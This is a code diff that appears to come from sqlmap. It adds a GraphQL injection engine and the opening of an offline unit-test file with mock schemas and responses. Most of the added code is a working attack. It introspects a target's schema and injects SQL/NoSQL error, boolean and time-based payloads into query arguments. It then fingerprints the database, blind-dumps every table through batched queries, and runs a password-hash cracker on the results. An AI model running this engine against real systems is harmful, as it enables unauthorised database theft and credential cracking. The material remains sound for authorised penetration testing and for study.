baseUrl.rstrip("/") + path + page, code = _gqlSend(candidate, "{__typename}") + if _isGraphQLResponse(page): + return candidate, page + + return None, None + + +# --- Schema introspection --------------------------------------------------- + +def _introspect(endpoint): + # Send the standard introspection query and return the parsed __schema dict. + # Falls back to a query without `specifiedByURL` for older GraphQL servers + # that reject it. + + for query in (GRAPHQL_INTROSPECTION_QUERY, + GRAPHQL_INTROSPECTION_QUERY.replace('specifiedByURL\n', '')): + page, code = _gqlSend(endpoint, query) + doc = _parseJSON(page) + if not isinstance(doc, dict): + continue + data = doc.get("data") + if isinstance(data, dict) and "__schema" in data: + return data["__schema"] + return None + + +# --- Schema walking --------------------------------------------------------- + +def _extractSlots(schema): + # Walk the schema's Query and Mutation types, harvesting every + # scalar/injectable argument as a Slot + + _inputFields.clear() + + slots = [] + typeByName = {} + for t in (schema.get("types") or []): + if isinstance(t, dict) and t.get("name"): + typeByName[t["name"]] = t + if t.get("kind") == "INPUT_OBJECT": + _inputFields[t["name"]] = [ + (f["name"], f.get("type", {}), f.get("defaultValue")) + for f in (t.get("inputFields") or []) + ] + + queryName = (schema.get("queryType") or {}).get("name") + mutationName = (schema.get("mutationType") or {}).get("name") + + for op, rootName in (("query", queryName), ("mutation", mutationName)): + if not rootName: + continue + rootType = typeByName.get(rootName) + if not rootType or rootType.get("kind") != "OBJECT": + continue + for field in (rootType.get("fields") or []): + fieldName = field["name"] + fieldArgs = field.get("args") or [] + + # Resolve return-type kind and the leaf selection set + returnChain = _unwrapType(field.get("type", {})) + returnKind = "SCALAR" + returnTypeName = _leafName(returnChain) + for kind, name in returnChain: + if kind != "NON_NULL": + returnKind = kind + + returnObj = typeByName.get(returnTypeName) if returnTypeName else None + leafFields = _scalarFields(returnObj, typeByName) + + # Nested object selections (one level) + nested = {} + if returnObj and returnObj.get("kind") == "OBJECT": + for rf in (returnObj.get("fields") or []): + rfChain = _unwrapType(rf.get("type", {})) + rfName = _leafName(rfChain) + rfObj = typeByName.get(rfName) if rfName else None + if rfObj and rfObj.get("kind") == "OBJECT": + nested[rf["name"]] = _scalarFields(rfObj, typeByName) or ["__typename"] + + returnSel = _renderSelection(returnKind, returnTypeName, leafFields, nested) + + for arg in (fieldArgs or []): + allArgs = [(a["name"], a.get("type", {}), a.get("defaultValue")) for a in fieldArgs] + strategy = _classifyArg(arg.get("type", {})) + if strategy: + slots.append(Slot(op, rootName, fieldName, allArgs, + arg["name"], strategy, returnKind, + returnTypeName, returnSel)) + elif _isInputObject(arg.get("type", {}), typeByName): + _inputSlots(op, rootName, fieldName, allArgs, + arg["name"], arg.get("type", {}), + returnKind, returnTypeName, returnSel, typeByName, slots) + return slots + + +def _isInputObject(typeObj, typeByName): + name = _leafName(_unwrapType(typeObj)) + if not name: + return None + t = typeByName.get(name) + return t if t and t.get("kind") == "INPUT_OBJECT" else None + + +def _inputSlots(op, rootName, fieldName, allArgs, argName, typeObj, + returnKind, returnType, returnSel, typeByName, slots): + # Recurse one level into an input object's fields + inputType = _isInputObject(typeObj, typeByName) + if not inputType: + return + for fld in (inputType.get("inputFields") or []): + strategy = _classifyArg(fld.get("type", {})) + if strategy: + slots.append(Slot(op, rootName, fieldName, allArgs, + "%s.%s" % (argName, fld["name"]), strategy, + returnKind, returnType, returnSel)) + + +def _scalarFields(objType, typeByName, depth=0): + # Return scalar/leaf field names reachable from `objType` (for selection set) + if not objType or depth > 3: + return [] + names = [] + for fld in (objType.get("fields") or []): + fType = typeByName.get(_leafName(_unwrapType(fld.get("type", {})))) + if not fType or fType.get("kind") in ("SCALAR", "ENUM"): + names.append(fld["name"]) + return names + + +def _renderSelection(returnKind, returnType, leafFields, nested): + # Build the return selection part of a GraphQL document string. + # Scalars/enums: no sub-selection (None). Objects/Lists-of-objects: + # nested field set. Lists-of-scalars also get no sub-selection. + if returnKind in ("SCALAR", "ENUM"): + return None + leafPart = " ".join(leafFields) if leafFields else "__typename" + nestedPart = "" + for objField, subFields in (nested or {}).items(): + nestedPart += " %s { %s }" % (objField, " ".join(subFields)) + return "{ %s%s }" % (leafPart, nestedPart) + + +# --- Request construction --------------------------------------------------- + +def _fieldFragment(slot, value, alias=None): + # Render a single `alias:field(args) selection` fragment with `value` in the + # target argument. Required sibling arguments get safe defaults. Returns "" when + # the value cannot be embedded (e.g. a non-numeric payload in an Int literal). + + if slot.strategy == "numeric" and not getUnicode(value).lstrip("-").isdigit(): + return "" + + renderedArgs = [] + for argName, argType, default in slot.allArgs: + if argName == slot.targetArg or slot.targetArg.startswith(argName + "."): + if "." in slot.targetArg: + outer, inner = slot.targetArg.split(".", 1) + if argName == outer: + renderedArgs.append("%s: {%s}" % (outer, _renderInputObj(slot, value))) + continue + renderedArgs.append(_renderArg(argName, value, slot.strategy)) + else: + siblingStrategy = _classifyArg(argType) or "string" + renderedArgs.append(_renderArg(argName, _defaultForArg(argType, default), siblingStrategy)) + + sel = slot.returnSel + if sel is None: + sel = "" + elif not sel: + sel = "{ __typename }" + argsPart = "(%s)" % ", ".join(renderedArgs) if renderedArgs else "" + return "%s:%s%s %s" % (alias or slot.fieldName, slot.fieldName, argsPart, sel) + + +def _buildQuery(slot, value): + # Render a complete single-field GraphQL document with `value` in the target + # argument. Wraps as a mutation when the slot belongs to the mutation root. + fragment = _fieldFragment(slot, value) + if not fragment: + return "" + prefix = "mutation " if slot.operation == "mutation" else "" + return "%s{%s}" % (prefix, fragment) + + +def _buildBatch(slot, values): + # Render one GraphQL document aliasing the field once per value (a0, a1, ...), + # so many independent injections resolve in a single request. Returns + # (document, aliases) or ("", []) when any value cannot be embedded. + fragments, aliases = [], [] + for index, value in enumerate(values): + alias = "a%d" % index + fragment = _fieldFragment(slot, value, alias) + if not fragment: + return "", [] + fragments.append(fragment) + aliases.append(alias) + prefix = "mutation " if slot.operation == "mutation" else "" + return "%s{%s}" % (prefix, " ".join(fragments)), aliases + + +def _renderArg(name, value, strategy): + # Render a single argument: name:"value" (string) or name:value (numeric) + if strategy == "numeric": + return "%s:%s" % (name, value) + if strategy == "id_dual" and isinstance(value, (str, bytes)) and getUnicode(value).lstrip("-").isdigit(): + return "%s:%s" % (name, value) + return '%s:"%s"' % (name, _escapeGraphQLString(value)) + + +def _renderInputObj(slot, value): + # Render an input-object literal with the target inner field set to `value` + # and all required sibling fields filled with safe defaults + _, inner = slot.targetArg.split(".", 1) + + outerArg = slot.targetArg.split(".")[0] + inputFields = [] + for aName, aType, aDefault in slot.allArgs: + if aName == outerArg: + objName = _leafName(_unwrapType(aType)) + if objName: + inputFields = _inputFields.get(objName, []) + break + + parts = [] + for fldName, fldType, fldDefault in inputFields: + if fldName == inner: + fldStrategy = _classifyArg(fldType) or "string" + parts.append(_renderArg(inner, value, fldStrategy)) + else: + fldStrategy = _classifyArg(fldType) or "string" + parts.append(_renderArg(fldName, _defaultForArg(fldType, fldDefault), fldStrategy)) + return ", ".join(parts) + + +def _defaultForArg(argType, default): + # Return a safe GraphQL default value for a field argument: the schema + # default if present, otherwise a type-appropriate sentinel + if default is not None: + return default + strategy = _classifyArg(argType) + if strategy == "numeric": + return 0 + return "x" + + +# --- Detection -------------------------------------------------------------- + +def _detectError(slot, endpoint): + # Error-based detection: inject SQL/NoSQL error-inducing payloads and check + # whether the GraphQL `errors` envelope carries a known DBMS signature + + for payload in _SQL_ERROR_PAYLOADS: + query = _buildQuery(slot, payload) + if not query: + continue + page, code = _gqlSend(endpoint, query) + err = _errorText(page) + if not err: + continue + for pattern in ERROR_PARSING_REGEXES: + m = re.search(pattern, err) + if m: + return "error-based", m.group("result") if "result" in m.groupdict() else err[:200] + + # Try NoSQL error signatures + for payload in (_NOSQL_NE, _NOSQL_IN): + query = _buildQuery(slot, payload) + if not query: + continue + page, code = _gqlSend(endpoint, query) + err = _errorText(page) + if err and re.search(NOSQL_ERROR_REGEX, err): + return "error-based", err[:200] + + return None, None + + +def _detectBoolean(slot, endpoint): + # Boolean-based detection: compare the resolved data between true and false + # payloads. Numeric GraphQL literals (Int/Float) cannot carry SQL payloads. + + if slot.strategy == "numeric": + return None, None + + trueQuery = _buildQuery(slot, _SQL_BOOLEAN_TRUE) + falseQuery = _buildQuery(slot, _SQL_BOOLEAN_FALSE) + + if not trueQuery or not falseQuery: + return None, None + + truePage, _ = _gqlSend(endpoint, trueQuery) + falsePage, _ = _gqlSend(endpoint, falseQuery) + + trueVal = _slotValue(truePage) + falseVal = _slotValue(falsePage) + + if _ratio(trueVal, falseVal) < (1.0 - _MIN_RATIO_DIFF): + return "boolean-based blind (string)", truePage + + return None, None + + +def _detectTime(slot, endpoint): + # Time-based detection: send a per-dialect conditional sleep and measure the + # elapsed time against a baseline. Returns (oracleType, threshold, dbms). + + if slot.strategy == "numeric": + return None, None, None + + baseQuery = _buildQuery(slot, "x") + if not baseQuery: + return None, None, None + + start = time.time() + _gqlSend(endpoint, baseQuery) + baseline = time.time() - start + + delay = conf.timeSec + for dbms, dialect in DIALECTS.items(): + if not dialect.delay: + continue + query = _buildQuery(slot, "%s' OR %s-- " % (SENTINEL, dialect.delay("1=1", delay))) + if not query: + continue + start = time.time() + _gqlSend(endpoint, query) + if (time.time() - start) > baseline + delay * 0.5: + return "time-based blind", baseline + delay * 0.5, dbms + + return None, None, None + + +# --- Boolean / time oracle (universal blind-SQLi primitive) ----------------- + +def _makeOracle(slot, endpoint, dbmsHint=None, threshold=None): + """Establish a truth(sqlCondition) -> bool primitive on `slot`. For a content + oracle the condition is injected as `' OR ()-- ` and the resolved + field is compared to its always-true template; for a timing oracle the condition + is wrapped in the dialect's conditional sleep. Returns (truth, truthBatch) where + truthBatch(conditions) -> [bool] evaluates many conditions in one aliased request + (None when the back-end rejects batching). Returns (None, None) when no usable + contrast exists on this slot.""" + + def _payload(condition): + return "%s' OR (%s)-- " % (SENTINEL, condition) + + if threshold is not None and dbmsHint and DIALECTS[dbmsHint].delay: + # Timing oracle: a per-document sleep fires only when `condition` holds. Batching + # would serialise the sleeps and inflate every request, so it is not offered here. + delay = DIALECTS[dbmsHint].delay + + def truth(condition): + query = _buildQuery(slot, "%s' OR %s-- " % (SENTINEL, delay(condition, conf.timeSec))) + if not query: + return False + start = time.time() + _gqlSend(endpoint, query) + return (time.time() - start) > threshold + + return truth, None + + # Content oracle: capture the always-true template and require a clear true/false split + trueVal = _slotValue(_gqlSend(endpoint, _buildQuery(slot, _payload("1=1")))[0]) + falseVal = _slotValue(_gqlSend(endpoint, _buildQuery(slot, _payload("1=2")))[0]) + if _ratio(trueVal, falseVal) > UPPER_RATIO_BOUND: + return None, None + + def truth(condition): + query = _buildQuery(slot, _payload(condition)) + if not query: + return False + page, _ = _gqlSend(endpoint, query) + return _ratio(_slotValue(page), trueVal) > UPPER_RATIO_BOUND + + def truthBatch(conditions): + query, aliases = _buildBatch(slot, [_payload(_) for _ in conditions]) + if not query: + return [False] * len(conditions) + page, _ = _gqlSend(endpoint, query) + data = (_parseJSON(page) or {}).get("data") or {} + return [_ratio(json.dumps(data.get(alias), sort_keys=True, default=str), trueVal) > UPPER_RATIO_BOUND + for alias in aliases] + + # Sanity: the oracle must answer a known truth/falsehood correctly + if not (truth("1=1") and not truth("1=2")): + return None, None + + return truth, truthBatch + + +def _fingerprint(truth): + # Identify the back-end DBMS by probing each dialect's signature predicate + for dbms, dialect in DIALECTS.items(): + if truth(dialect.fingerprint): + return dbms + return None + + +# --- Blind inference -------------------------------------------------------- + +def _inferExpr(truth, dialect, expr, maxLen=MAX_LENGTH): + # Recover the string value of SQL expression `expr` one character at a time: + # binary-search the length, then bisect each character's codepoint over the + # printable-ASCII range (~log2(95) requests per character). + lengthExpr = dialect.length(expr) + + if not truth("%s>0" % lengthExpr): + return "" if truth("%s=0" % lengthExpr) else None + + length, probe = 1, 2 + while probe <= maxLen and truth("%s>=%d" % (lengthExpr, probe)): + length, probe = probe, probe * 2 + low, high = length, min(probe, maxLen + 1) + while low + 1 < high: + mid = (low + high) // 2 + if truth("%s>=%d" % (lengthExpr, mid)): + low = mid + else: + high = mid + length = low + + value = "" + for pos in xrange(1, length + 1): + ordExpr = dialect.ordinal(expr, pos) + if not truth("%s>=%d" % (ordExpr, CHAR_MIN)): + value += "?" # codepoint outside the printable-ASCII range + continue + low, high = CHAR_MIN, CHAR_MAX + while low < high: + mid = (low + high + 1) // 2 + if truth("%s>=%d" % (ordExpr, mid)): + low = mid + else: + high = mid - 1 + value += chr(low) + return value + + +def _inferExprBatched(truthBatch, dialect, expr, maxLen=MAX_LENGTH): + # Same recovery as _inferExpr, but every probe is independent and resolved in + # parallel via aliased batching: the length is read from monotone >=N predicates + # and each character from its 7 independent bit predicates (ASCII & 2**b). An + # L-character value costs ceil(7*L / BATCH_SIZE) requests instead of ~7*L. + lengthExpr = dialect.length(expr) + + length = 0 + for chunk in _chunks(list(xrange(1, maxLen + 1)), BATCH_SIZE): + results = truthBatch(["%s>=%d" % (lengthExpr, _) for _ in chunk]) + hits = [n for n, ok in zip(chunk, results) if ok] + if hits: + length = max(length, max(hits)) + if not all(results): # monotone predicate: no longer length can be true beyond here + break + if length == 0: + return "" + + conditions, index = [], [] + for pos in xrange(1, length + 1): + for bit in xrange(7): + conditions.append("(%s & %d)>0" % (dialect.ordinal(expr, pos), 1 << bit)) + index.append((pos, bit)) + + codes = {} + flat = [] + for chunk in _chunks(conditions, BATCH_SIZE): + flat.extend(truthBatch(chunk)) + for (pos, bit), ok in zip(index, flat): + if ok: + codes[pos] = codes.get(pos, 0) | (1 << bit) + + value = "" + for pos in xrange(1, length + 1): + code = codes.get(pos, 0) + value += chr(code) if CHAR_MIN <= code <= CHAR_MAX else "?" + return value + + +def _inferrer(truth, truthBatch, dialect): + # Pick batched inference when the back-end honours aliased batching (verified + # with a known true/false pair), else fall back to sequential bisection + if truthBatch and truthBatch(["1=1", "1=2"]) == [True, False]: + logger.info("using aliased query batching to accelerate blind extraction") + return lambda expr, maxLen=MAX_LENGTH: _inferExprBatched(truthBatch, dialect, expr, maxLen) + return lambda expr, maxLen=MAX_LENGTH: _inferExpr(truth, dialect, expr, maxLen) + + +def _dumpTable(infer, dialect, table): + # Enumerate a table's columns, then recover every row as one concatenated scalar + # and split it back into a (columns, rows) grid + columnsRaw = infer(dialect.columns(table)) + columns = [_ for _ in (columnsRaw or "").split(",") if _] + if not columns: + return None + + raw = infer(dialect.rows(columns, table), DUMP_MAX_LENGTH) + rows = [] + for record in (raw or "").split(ROW_SEP) if raw else []: + cells = record.split(COL_SEP) + rows.append((cells + [""] * len(columns))[:len(columns)]) + return columns, rows + + +# --- Dump ------------------------------------------------------------------- + +def _dumpInband(endpoint, slot, templatePage): + # Check whether the always-true response carries materially more data than + # the original (in-band data exposure) + origQuery = _buildQuery(slot, "x") + if not origQuery: + return None + origPage, _ = _gqlSend(endpoint, origQuery) + if len(templatePage or "") < len(origPage or "") * 1.25: + return None + return _parseRows(templatePage, slot) + + +def _parseRows(page, slot): + # Parse a GraphQL JSON `data` tree into (columns, rows) + doc = _parseJSON(page) + if not isinstance(doc, dict): + return None + data = doc.get("data") + if not isinstance(data, dict): + return None + for v in data.values(): + if v is None: + return None + if isinstance(v, list): + columns = [] + for item in v: + if isinstance(item, dict): + for k in item: + if k not in columns: + columns.append(k) + rows = [] + for item in v: + if isinstance(item, dict): + rows.append([_cell(item.get(c)) for c in columns]) + return (columns, rows) if rows else None + if isinstance(v, dict): + columns = sorted(v.keys()) + rows = [[_cell(v.get(c)) for c in columns]] + return (columns, rows) + return None + + +def _grid(columns, rows): + # Render a simple ASCII table + if not columns or not rows: + return "(empty)" + widths = [] + for i, c in enumerate(columns): + w = len("%s" % (c,)) + for r in rows: + w = max(w, len("%s" % (r[i] if i < len(r) else "",))) + widths.append(w) + sep = "+-" + "-+-".join("-" * w for w in widths) + "-+" + header = "| " + " | ".join(("%s" % (c,)).ljust(w) for c, w in zip(columns, widths)) + " |" + lines = [sep, header, sep] + for row in rows: + lines.append("| " + " | ".join(("%s" % (row[i] if i < len(row) else "",)).ljust(w) + for i, w in enumerate(widths)) + " |") + lines.append(sep) + return "\n".join(lines) + + +def _renderTypeStr(chain): + # Render a GraphQL type chain as a readable string: [User]! or String! + named = _leafName(chain) or "" + prefix = "" + suffix = "" + for kind, _ in chain: + if kind == "NON_NULL": + suffix = "!" + elif kind == "LIST": + prefix = "[" + prefix + suffix = suffix + "]" + return prefix + named + suffix + + +def _dumpSchema(schema, endpoint): + # Dump the schema as readable tables: types and their fields/arguments + if not schema: + return + + types = schema.get("types") or [] + queryName = (schema.get("queryType") or {}).get("name") + mutationName = (schema.get("mutationType") or {}).get("name") + + rows = [] + for t in types: + if not isinstance(t, dict): + continue + kind = t.get("kind", "") + name = t.get("name", "") + if kind not in ("OBJECT", "INPUT_OBJECT"): + continue + rootTag = "" + if name == queryName: + rootTag = " [Query]" + elif name == mutationName: + rootTag = " [Mutation]" + fields = t.get("fields") or t.get("inputFields") or [] + if not fields: + rows.append([kind, name + rootTag, "", "", "", ""]) + for f in fields: + fName = f.get("name", "") + typeStr = _renderTypeStr(_unwrapType(f.get("type", {}))) + for a in (f.get("args") or []): + aType = _renderTypeStr(_unwrapType(a.get("type", {}))) + strategy = _classifyArg(a.get("type", {})) or "" + rows.append([kind, name + rootTag, fName, typeStr, a["name"], aType, strategy]) + if not (f.get("args") or []): + rows.append([kind, name + rootTag, fName, typeStr, "", "", ""]) + + if rows: + conf.dumper.singleString("GraphQL schema (%s):\n%s" % (endpoint, + _grid(["Kind", "Type", "Field", "Return", "Argument", "ArgType", "Strategy"], rows))) + + +# --- Orchestration ---------------------------------------------------------- + +def _testSlot(slot, endpoint): + """Confirm an injection on `slot` and report it. Returns (oracleType, oracle, detail) + where `oracle` is (truth, truthBatch, dbmsHint) for a usable blind-SQLi primitive (None for an + error-only / non-differential point) and `oracleType` is None when nothing is confirmed.""" + + kind = oracleType = detail = templatePage = dbmsHint = threshold = None + + # Boolean content inference is the most reliable extraction oracle, so it is preferred over the + # (also valid) error and time signals, which serve as fallbacks for non-differential slots. + oracleType, templatePage = _detectBoolean(slot, endpoint) + if oracleType: + kind = "boolean" + logger.info("boolean-based oracle confirmed (%s)" % oracleType) + else: + errorType, detail = _detectError(slot, endpoint) + if errorType: + kind, oracleType = "error", errorType + logger.info("error-based oracle confirmed") + else: + oracleType, threshold, dbmsHint = _detectTime(slot, endpoint) + if oracleType: + kind = "time" + logger.info("time-based oracle confirmed (back-end '%s', threshold %.1fs)" % (dbmsHint, threshold)) + + if not kind: + logger.info("no oracle confirmed for this slot") + return None, None, None + + title = "GraphQL %s" % oracleType + payload = _buildQuery(slot, _SQL_BOOLEAN_TRUE) or _SQL_BOOLEAN_TRUE + report = "---\nParameter: %s.%s(%s:) (%s)\n Type: GraphQL injection\n Title: %s\n Payload: %s\n---" % ( + slot.parentType, slot.fieldName, slot.targetArg, slot.strategy, title, _escapeGraphQLString(payload)) + conf.dumper.singleString(report) + + # In-band exposure: the always-true payload reflecting extra records directly + if kind == "boolean" and templatePage: + rows = _dumpInband(endpoint, slot, templatePage) + if rows: + columns, dataRows = rows + logger.info("in-band data exposure: %d record(s)" % len(dataRows)) + conf.dumper.singleString("GraphQL in-band data for %s.%s(%s:):\n%s" % ( + slot.parentType, slot.fieldName, slot.targetArg, _grid(columns, dataRows))) + + if kind in ("boolean", "time"): + truth, truthBatch = _makeOracle(slot, endpoint, dbmsHint, threshold) + if truth: + return oracleType, (truth, truthBatch, dbmsHint), detail + + return oracleType, None, detail + + +def _enumerate(oracle): + """Drive the blind-SQLi oracle to fingerprint the back-end and enumerate it: + banner, current user/database, the table list, and a full blind dump of every + user table. All of this is recovered without knowing any SQL identifier up front.""" + + truth, truthBatch, dbmsHint = oracle + + dbms = dbmsHint or _fingerprint(truth) + if not dbms: + logger.warning("could not fingerprint the back-end DBMS through the GraphQL oracle") + return + + dialect = DIALECTS[dbms] + logger.info("back-end DBMS: '%s'" % dbms) + conf.dumper.singleString("GraphQL back-end DBMS: %s" % dbms) + + infer = _inferrer(truth, truthBatch, dialect) + + for label, expr in (("banner", dialect.banner), + ("current user", dialect.currentUser), + ("current database", dialect.currentDb)): + if not expr: + continue + value = infer(expr) + if value: + logger.info("%s: '%s'" % (label, value)) + conf.dumper.singleString("GraphQL %s: %s" % (label, value)) + + tablesRaw = infer(dialect.tables) if dialect.tables else None + tables = [_ for _ in (tablesRaw or "").split(",") if _] + if not tables: + logger.warning("no tables recovered through the oracle") + return + + logger.info("fetching tables") + conf.dumper.singleString("GraphQL database tables [%d]:\n%s" % ( + len(tables), _grid(["table"], [[_] for _ in tables]))) + + for table in tables: + parsed = _dumpTable(infer, dialect, table) + if not parsed: + continue + columns, rows = parsed + logger.info("fetched %d entr%s from table '%s'" % (len(rows), "y" if len(rows) == 1 else "ies", table)) + + # Populate kb.data.dumpedTable and feed it through the standard + # password-hash analysis (hash-recognition + optional dictionary-crack) + # BEFORE displaying the dump, so that cracked passwords appear inline + # next to their hashes (matching the regular SQL table-dump workflow) + if len(rows) > 0 and not conf.disableHashing: + oldDumpedTable = getattr(kb.data, "dumpedTable", None) + try: + from lib.utils.hash import attackDumpedTable + kb.data.dumpedTable = {"__infos__": {"count": len(rows)}} + for ci, col in enumerate(columns): + kb.data.dumpedTable[col] = {"values": [row[ci] if ci < len(row) else "" for row in rows]} + attackDumpedTable() + # Re-read the rows: attackDumpedTable() may have appended + # cracked passwords in-place (e.g. "hash (password)") + for ci, col in enumerate(columns): + if col in kb.data.dumpedTable: + vals = kb.data.dumpedTable[col].get("values", []) + for ri in xrange(min(len(rows), len(vals))): + if ci < len(rows[ri]): + rows[ri][ci] = vals[ri] + except Exception: + pass + finally: + kb.data.dumpedTable = oldDumpedTable + + conf.dumper.singleString("GraphQL dump of table '%s' [%d]:\n%s" % ( + table, len(rows), _grid(columns, rows))) + + +def graphqlScan(): + # Entry point for '--graphql': detect the GraphQL endpoint, introspect the + # schema, enumerate injectable argument slots, confirm an injection oracle on a + # query slot, then fingerprint and blind-enumerate the SQL back-end through it + # (banner, tables, full table dumps). Mutation slots are reported but not + # exercised, to avoid modifying server-side data. + + global SENTINEL + SENTINEL = randomStr(length=10, lowercase=True) + + infoMsg = "'--graphql' is self-contained: it discovers the GraphQL endpoint, " + infoMsg += "enumerates the schema, and injects SQL/NoSQL payloads into reachable " + infoMsg += "argument slots. SQL enumeration switches (e.g. --banner, --dbs, " + infoMsg += "--tables) are ignored" + logger.info(infoMsg) + + url = conf.url.rstrip("/") if conf.url else "" + + if not url: + logger.error("missing target URL") + return + + # 1. Endpoint detection + logger.info("probing for a GraphQL endpoint") + + # If the user supplied a URL that already contains '/graphql/' (e.g. + # .../graphql/get_int?id=1, the broker probe URL), extract the base so + # that probe paths are not appended to a non-GraphQL sub-path + _m = re.match(r"(https?://[^/]+(?:/[^/]+)*?/graphql)(?:/.*)?$", url.rstrip("/")) + if _m: + url = _m.group(1) + + endpoint, _ = _detectEndpoint(url) + if not endpoint: + logger.error("no GraphQL endpoint found at '%s' (tried %d common paths)" % ( + url, len(GRAPHQL_ENDPOINT_PATHS) + 1)) + return + + logger.info("found GraphQL endpoint at '%s'" % endpoint) + + # 2. Schema introspection + logger.info("introspecting the GraphQL schema") + schema = _introspect(endpoint) + if not schema: + logger.error("introspection failed (disabled or the endpoint rejected the query)") + return + + types = schema.get("types") or [] + logger.info("introspection returned %d types" % len(types)) + + # 3. Slot enumeration + slots = _extractSlots(schema) + if not slots: + logger.warning("no injectable argument slots found in the schema") + _dumpSchema(schema, endpoint) + return + + querySlots = [_ for _ in slots if _.operation == "query"] + mutationSlots = [_ for _ in slots if _.operation == "mutation"] + + logger.info("enumerated %d injectable argument slot(s): %d query, %d mutation" % ( + len(slots), len(querySlots), len(mutationSlots))) + + # 4. Schema dump (before detection -- matches regular sqlmap table/column + # enumeration preceding data retrieval) + _dumpSchema(schema, endpoint) + + if mutationSlots: + names = sorted(set("%s(%s:)" % (_.fieldName, _.targetArg) for _ in mutationSlots)) + warnMsg = "skipping %d mutation slot(s) to avoid modifying server-side data " % len(mutationSlots) + warnMsg += "(%s). They may carry the same injection. Test them manually if intended" % ", ".join(names) + logger.warning(warnMsg) + + # 5. Per-slot detection; keep the first usable blind-SQLi oracle for enumeration + oracle = None + found = False + + for slot in querySlots: + logger.info("testing slot %s.%s(%s:) [%s]" % ( + slot.parentType, slot.fieldName, slot.targetArg, slot.strategy)) + + oracleType, slotOracle, _ = _testSlot(slot, endpoint) + if oracleType: + found = True + if slotOracle and not oracle: + oracle = slotOracle + logger.info("retaining %s.%s(%s:) as the blind-SQLi oracle for back-end enumeration" % ( + slot.parentType, slot.fieldName, slot.targetArg)) + + # 6. Back-end enumeration through the retained oracle + if oracle: + _enumerate(oracle) + + if not found: + logger.warning("no injectable slots found. The schema is shown above") + + logger.info("GraphQL scan complete") diff --git a/tests/test_graphql.py b/tests/test_graphql.py new file mode 100644 index 000000000..64a76e930 --- /dev/null +++ b/tests/test_graphql.py @@ -0,0 +1,680 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline, deterministic tests for the GraphQL injection engine. Mock oracles stand in for the +HTTP/GraphQL layer so endpoint detection, introspection parsing, slot enumeration, query +construction, and boolean/error-based detection can be exercised without a live target. +""" + +import json +import re +import unittest + +from _testutils import bootstrap +bootstrap() + +import lib.techniques.graphql.inject as gi + +# --- Mock helpers ----------------------------------------------------------- + +MATCH = '{"data":{"user":{"id":1,"name":"luther","surname":"blisset"}}}' +NOMATCH = '{"data":{"user":null}}' +DB_ERROR = '{"errors":[{"message":"You have an error in your SQL syntax; check the manual...","path":["user"]}]}' +GQL_PARSE_ERROR = '{"errors":[{"message":"Syntax Error: Expected Name, found )","extensions":{"code":"GRAPHQL_PARSE_FAILED"}}]}' + +MOCK_SCHEMA = { + "data": {"__schema": { + "queryType": {"name": "Query"}, + "mutationType": {"name": "Mutation"}, + "subscriptionType": None, + "directives": [], + "types": [ + {"kind": "OBJECT", "name": "Query", "fields": [ + {"name": "user", "args": [ + {"name": "username", "defaultValue": None, + "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}} + ], "type": {"kind": "OBJECT", "name": "User", "ofType": None}}, + {"name": "byId", "args": [ + {"name": "id", "defaultValue": None, + "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Int", "ofType": None}}} + ], "type": {"kind": "OBJECT", "name": "User", "ofType": None}}, + {"name": "login", "args": [ + {"name": "username", "defaultValue": None, + "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}}, + {"name": "password", "defaultValue": None, + "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}}, + ], "type": {"kind": "OBJECT", "name": "AuthPayload", "ofType": None}}, + {"name": "version", "args": [], + "type": {"kind": "SCALAR", "name": "String", "ofType": None}}, + ], "inputFields": None, "enumValues": None}, + {"kind": "SCALAR", "name": "String"}, + {"kind": "SCALAR", "name": "Int"}, + {"kind": "SCALAR", "name": "Float"}, + {"kind": "SCALAR", "name": "ID"}, + {"kind": "OBJECT", "name": "User", "fields": [ + {"name": "id", "args": [], "type": {"kind": "SCALAR", "name": "Int", "ofType": None}}, + {"name": "name", "args": [], "type": {"kind": "SCALAR", "name": "String", "ofType": None}}, + ], "inputFields": None, "enumValues": None}, + {"kind": "OBJECT", "name": "AuthPayload", "fields": [ + {"name": "token", "args": [], "type": {"kind": "SCALAR", "name": "String", "ofType": None}}, + {"name": "user", "args": [], "type": {"kind": "OBJECT", "name": "User", "ofType": None}}, + ], "inputFields": None, "enumValues": None}, + ] + }} +} + + +def _slot(opType, rootName, fieldName, argName, strategy="string", + returnKind="OBJECT", returnType="User", + returnSel="{ id name }", allArgs=None): + """Test helper: build a minimal Slot with sensible defaults""" + if allArgs is None: + argType = {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}} + if strategy == "numeric": + argType = {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Int", "ofType": None}} + elif strategy == "id_dual": + argType = {"kind": "SCALAR", "name": "ID"} + allArgs = [(argName, argType, None)] + return gi.Slot(opType, rootName, fieldName, allArgs, argName, strategy, + returnKind, returnType, returnSel) + + +# --- Tests ----------------------------------------------------------------- + +class TestGraphqlHelpers(unittest.TestCase): + """Unit tests for type-walking, classification, and response parsing""" + + def test_unwrap_simple_scalar(self): + chain = gi._unwrapType({"kind": "SCALAR", "name": "String"}) + self.assertEqual(chain, [("SCALAR", "String")]) + + def test_unwrap_non_null(self): + chain = gi._unwrapType({"kind": "NON_NULL", "name": None, + "ofType": {"kind": "SCALAR", "name": "String"}}) + self.assertEqual(chain, [("NON_NULL", None), ("SCALAR", "String")]) + + def test_unwrap_list_non_null(self): + chain = gi._unwrapType({"kind": "LIST", "name": None, + "ofType": {"kind": "NON_NULL", "name": None, + "ofType": {"kind": "OBJECT", "name": "User"}}}) + self.assertEqual(chain, [("LIST", None), ("NON_NULL", None), ("OBJECT", "User")]) + + def test_classify_string(self): + self.assertEqual(gi._classifyArg({"kind": "NON_NULL", "ofType": {"kind": "SCALAR", "name": "String"}}), "string") + + def test_classify_int(self): + self.assertEqual(gi._classifyArg({"kind": "SCALAR", "name": "Int"}), "numeric") + + def test_classify_float(self): + self.assertEqual(gi._classifyArg({"kind": "SCALAR", "name": "Float"}), "numeric") + + def test_classify_id(self): + self.assertEqual(gi._classifyArg({"kind": "SCALAR", "name": "ID"}), "id_dual") + + def test_classify_boolean_is_none(self): + self.assertIsNone(gi._classifyArg({"kind": 